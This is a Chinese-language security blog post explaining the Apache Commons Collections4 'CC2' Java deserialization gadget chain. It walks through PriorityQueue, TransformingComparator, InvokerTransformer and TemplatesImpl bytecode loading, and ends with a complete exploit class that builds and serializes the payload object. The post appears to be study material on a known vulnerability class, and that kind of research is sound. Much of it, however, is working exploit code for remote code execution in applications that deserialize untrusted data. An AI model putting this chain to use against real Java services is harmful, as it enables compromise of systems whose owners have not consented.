目录

  1. 1. 前言
  2. 2. 构造不含数组的反序列化Gadget
    1. 2.1. 分析
    2. 2.2. 写exp
  3. 3. 最终exp

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

CC2链

2024/9/5 Web Java 反序列化
  |     |   总文章阅读量:

前言

CC2 这条链实际上是在 CC4 链基础上的修改,目的是为了避免使用 Transformer 数组

参考:

https://drun1baby.top/2022/06/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8705-CC2%E9%93%BE/

《Java安全漫谈》


构造不含数组的反序列化Gadget

这里有两种方法可以解决这个问题:

  • 一种方法是JRMP,需要外连服务器,参考https://blog.orange.tw/posts/2018-03-pwn-ctf-platform-with-java-jrmp-gadget/

  • 还有一种方法是之前用过的TemplatesImpl,我们在前面 cc1/cc6 + TemplatesImpl 的时候利用InvokerTransformer调用TemplatesImpl#newTransformer 方法

    Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(obj),
        new InvokerTransformer("newTransformer", null, null)
    };

    不过这里依旧是用到了Transformer数组,因此我们还得做一些修改

分析

回去再看一下cc2的链子流程图:

image-20240905162519773

在 CC4 链的基础上,抛弃了用 InstantiateTransformer 类将 TrAXFilter 初始化,以及 TemplatesImpl.newTransformer() 这个步骤,但是前半部分的 compare 还是和 cc4 一样,而且最后命令执行的方式也是走 TemplatesImpl 执行动态字节码,难点就在于 InvokerTransform 的连接

写exp

先把 cc4 的copy过来,然后尝试用 InvokerTransform 连接链子

TemplatesImpl加载字节码的部分不用动

byte[] code = Utils.GenerateEvil();
TemplatesImpl obj = new TemplatesImpl();
Utils.SetValue(obj, "_name","0w0");
Utils.SetValue(obj, "_bytecodes", new byte[][]{code});
Utils.SetValue(obj, "_tfactory", new TransformerFactoryImpl());

然后依旧是构造 InvokerTransformer 类去调用TemplatesImpl#newTransformer方法:

InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});

这里也创建个不用数组的 TransformingComparator 类对象 fakeTransformer,传⼊一个临时的 Transformer 类对象,让命令执行只在反序列化的时候执行

TransformingComparator fakeTransformer = new TransformingComparator<>(new ConstantTransformer<>(1));

对照一下原先的代码,如下:

Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj })
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);

TransformingComparator transformingComparator = new TransformingComparator<>(transformerChain);

接下来创建 PriorityQueue 类对象 传入 transformingComparator 对象,但是此时向队列里添加的元素就是我们前面创建的 TemplatesImpl 对象 obj 了(简单来说就是我们的obj还没用呢)

这是因为最后调用 PriorityQueue.compare() 的时候是传入队列中的两个对象,然后 compare() 中调用 Transformer.transform(obj1) 的时候用的是传入的第一个对象作为参数,因此这里需要将 priorityQueue 队列中的第一个对象设置为构造好的 obj 对象,这里贪方便就两个都设置为 obj 了

PriorityQueue priorityQueue = new PriorityQueue<>(fakeTransformer);
priorityQueue.add(obj);
priorityQueue.add(obj);

最后通过反射把 fakeTransformer 的 transformer.iMethodName 值再改成 invokerTransformer 的 newTransformer

Utils.SetValue(fakeTransformer, "transformer", invokerTransformer);

最终exp

package com.example.cc2;

import com.example.Utils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.util.PriorityQueue;

public class Main {
    public static void main(String[] args) throws Exception{

        byte[] code = Utils.GenerateEvil();
        TemplatesImpl obj = new TemplatesImpl();
        Utils.SetValue(obj, "_name","0w0");
        Utils.SetValue(obj, "_bytecodes", new byte[][]{code});
        Utils.SetValue(obj, "_tfactory", new TransformerFactoryImpl());

        InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});

        TransformingComparator fakeTransformer = new TransformingComparator<>(new ConstantTransformer<>(1));

        PriorityQueue priorityQueue = new PriorityQueue<>(fakeTransformer);
        priorityQueue.add(obj);
        priorityQueue.add(obj);

        Utils.SetValue(fakeTransformer, "transformer", invokerTransformer);

        String barr = Utils.Serialize(priorityQueue);
        System.out.println(barr);
        Utils.UnSerialize(barr);
    }
}

image-20240905170210748